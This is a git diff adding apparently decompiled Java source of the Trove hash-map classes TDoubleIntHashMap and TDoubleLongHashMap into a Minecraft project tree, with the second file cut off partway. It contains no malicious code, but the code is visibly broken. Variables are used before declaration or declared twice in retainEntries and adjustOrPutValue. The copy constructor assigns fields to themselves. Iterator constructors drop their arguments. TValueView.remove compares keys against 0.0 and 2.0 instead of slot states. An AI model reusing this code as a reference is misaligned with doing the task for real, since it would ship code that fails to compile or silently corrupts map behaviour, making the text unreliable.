+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public int put(double key, int value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public int putIfAbsent(double key, int value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private int doPut(double key, int value, int index)
+  {
+    int previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Integer> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleIntMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(double key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleIntIterator iterator()
+  {
+    return new TDoubleIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleIntProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(double key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(double key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleIntHashMap.TDoubleIntKeyHashIterator(TDoubleIntHashMap.this, TDoubleIntHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleIntHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TDoubleSet)) {
+        return false;
+      }
+      TDoubleSet that = (TDoubleSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TDoubleIntHashMap.TDoubleIntValueHashIterator(TDoubleIntHashMap.this, TDoubleIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      double[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0.0D) && (set[i] != 2.0D) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TDoubleIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TDoubleIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TDoubleIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TDoubleIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TDoubleIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TDoubleIntHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIntIterator
+  {
+    TDoubleIntHashIterator(TDoubleIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public double key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TDoubleIntMap)) {
+      return false;
+    }
+    TDoubleIntMap that = (TDoubleIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        double key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TDoubleIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(double key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeDouble(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      double key = in.readDouble();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TDoubleLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TDoubleLongHashMap.java
new file mode 100644
index 0000000..0fdda1f
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TDoubleLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TDoubleLongHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.iterator.TDoubleLongIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TDoubleLongMap;
+import gnu.trove.procedure.TDoubleLongProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TDoubleSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleLongHashMap
+  extends TDoubleLongHash
+  implements TDoubleLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TDoubleLongHashMap() {}
+  
+  public TDoubleLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TDoubleLongHashMap(int initialCapacity, float loadFactor, double noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleLongHashMap(double[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TDoubleLongHashMap(TDoubleLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TDoubleLongHashMap)) {
+      TDoubleLongHashMap hashmap = (TDoubleLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0.0D) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    double[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new double[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        double o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(double key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(double key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(double key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Double, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Double, ? extends Long> entry : map.entrySet()) {
+      put(((Double)entry.getKey()).doubleValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TDoubleLongMap map)
+  {
+    ensureCapacity(map.size());
+    TDoubleLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(double key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(double key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TDoubleSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public double[] keys()
+  {
+    double[] keys = new double[size()];
+    double[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public double[] keys(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(double key)
+  {
+    return contains(key);
+  }
+  
+
+  public TDoubleLongIterator iterator()
+  {
+    return new TDoubleLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TDoubleProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TDoubleLongProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TDoubleLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    double[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(double key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(double key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(double key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TDoubleSet
+  {
+    protected TKeyView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TDoubleLongHashMap.TDoubleLongKeyHashIterator(TDoubleLongHashMap.this, TDoubleLongHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return TDoubleLongHashMap.this.contains(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!TDoubleLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
